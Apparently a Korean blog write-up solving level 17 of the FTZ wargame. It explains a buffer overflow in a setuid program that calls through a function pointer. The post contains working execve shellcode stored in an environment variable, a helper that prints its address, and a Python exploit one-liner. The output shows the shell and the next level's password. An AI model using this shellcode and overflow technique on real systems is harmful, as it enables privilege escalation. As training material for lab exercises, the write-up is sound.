[FTZ] level17 ํ’€์ด

์ตœ๋Œ€ 1 ๋ถ„ ์†Œ์š”

๐Ÿ’ก FTZ level17 ํ’€์ด

๋ฌธ์ œ

๊ณ„์ • : level17/king poetic

hint

#include <stdio.h>

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

ํ’€์ด

16๋ฒˆ๊ณผ ๋™์ผํ•œ๋ฐ, ์‰˜ ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง€์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ธฐ์กด์— ํ•˜๋˜ ๋ฐฉ์‹์œผ๋กœ ํ™˜๊ฒฝ๋ณ€์ˆ˜์— ์‰˜ ์ฝ”๋“œ๋ฅผ ๋„ฃ๊ณ , ์ฃผ์†Œ๋ฅผ ํ™˜๊ฒฝ๋ณ€์ˆ˜๋กœ ๋ฐ”๊ฟ”์ฃผ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ ์–ธํ•˜๊ณ , ๊ทธ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด ์ค๋‹ˆ๋‹ค.

[level17@ftz level17]$ export SHELLCODE=$(python -c 'print("\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
[level17@ftz level17]$
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ echo 'int main(){printf("%p\n",getenv("SHELLCODE"));}' >> env.c
[level17@ftz tmp]$ gcc -o env env.c
[level17@ftz tmp]$ ./env
0xbffffc6d

call ์ฃผ์†Œ๋ฅผ 0xbffffc6d๋กœ ๋ฎ์–ด์ค๋‹ˆ๋‹ค.

gdb๋ฅผ ๋ถ„์„ํ•˜๋Š”๊ฑด ์ƒ๋žตํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

call ๋ณ€์ˆ˜์™€ buf ๋ณ€์ˆ˜์˜ ์ฐจ์ด๋Š” 40๋ฐ”์ดํŠธ ์ž…๋‹ˆ๋‹ค.

[level17@ftz level17]$ (python -c 'print("A"*40+"\x6d\xfc\xff\xbf")';cat) | ./attackme

id
uid=3098(level18) gid=3097(level17) groups=3097(level17)
my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".

์‰˜์„ ํš๋“ํ–ˆ์Šต๋‹ˆ๋‹ค.

ํƒœ๊ทธ:

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ